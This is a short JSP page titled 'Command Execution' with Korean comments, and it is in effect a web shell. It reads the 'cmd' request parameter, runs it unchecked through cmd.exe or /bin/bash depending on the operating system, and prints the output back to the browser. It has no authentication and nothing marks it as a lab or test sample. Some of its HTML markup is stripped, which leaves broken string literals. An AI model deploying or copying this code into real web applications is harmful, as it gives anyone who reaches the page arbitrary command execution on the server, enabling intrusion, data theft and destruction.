%@ page import="java.io.*, java.nio.charset.StandardCharsets" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
Command Execution
<%
if (request.getParameter("cmd") != null)
{
String osName = System.getProperty("os.name").toLowerCase();
String command = request.getParameter("cmd");
out.println(""+"명령어 : " + request.getParameter("cmd") + "" + "
");
// Windows인 경우
if (osName.indexOf("windows") != -1) {
String[] cmdArray = {"cmd.exe", "/C", command};
ProcessBuilder pb = new ProcessBuilder(cmdArray);
pb.redirectErrorStream(true);
Process process = pb.start();
InputStreamReader in = new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8);
BufferedReader br = new BufferedReader(in);
String line;
while ((line = br.readLine()) != null) {
out.println(line +"
");
}
}
// 다른 OS인 경우 (Linux, macOS 등)
else {
String[] cmdArray = {"/bin/bash", "-c", command};
ProcessBuilder pb = new ProcessBuilder(cmdArray);
pb.redirectErrorStream(true);
Process process = pb.start();
InputStreamReader in = new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8);
BufferedReader br = new BufferedReader(in);
String line;
while ((line = br.readLine()) != null) {
out.println(line +"
");
}
}
}
%>